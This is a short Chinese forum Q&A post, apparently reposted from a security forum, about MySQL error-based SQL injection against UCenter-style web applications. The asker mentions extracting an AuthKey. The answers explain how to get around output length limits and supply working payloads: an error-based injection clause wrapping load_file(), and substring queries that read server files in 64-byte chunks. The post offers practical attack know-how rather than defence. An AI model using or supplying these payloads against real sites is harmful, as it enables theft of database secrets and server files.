偶老早在T00ls提的仨问题

------------------------Question----------------------

No.1:Mysql报错注入最多能够显示多少字节呢?我Inject到的UC的AuthKey爆出62位一共应该64位
No.2:爆出的用户名中文和特殊符号显示乱码,用Hex()转换了下爆出来再转回去的时候依然乱码,怎么解决?你知道国内很多人爱用各种怪异的符号做用户名,严重影响进度。。
No.3:能否用报错注入Load_File(),我没有成功语句如下:
and (select 1 from(select count(*),concat((select (select load_file(0x.........)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

--------------------------AnSwer-----------------------

1. 64 位,但是许多报错注入都会在前后加上特别符号,以方便分辨,如[],就变成62位了,可以使用substring来处理
2. 如图:

关于Mysql报错注入的三个问题_第1张图片关于Mysql报错注入的三个问题_第2张图片


3. 同样使用substring 以64为1单位慢慢读, 最好就是写个循环来读
Select concat(substring(load_file(0x....),1,64)) FROM uc_applications limit 0,1
Select concat(substring(load_file(0x....),65,64)) FROM uc_applications limit 0,1
Select concat(substring(load_file(0x....),129,64)) FROM uc_applications limit 0,1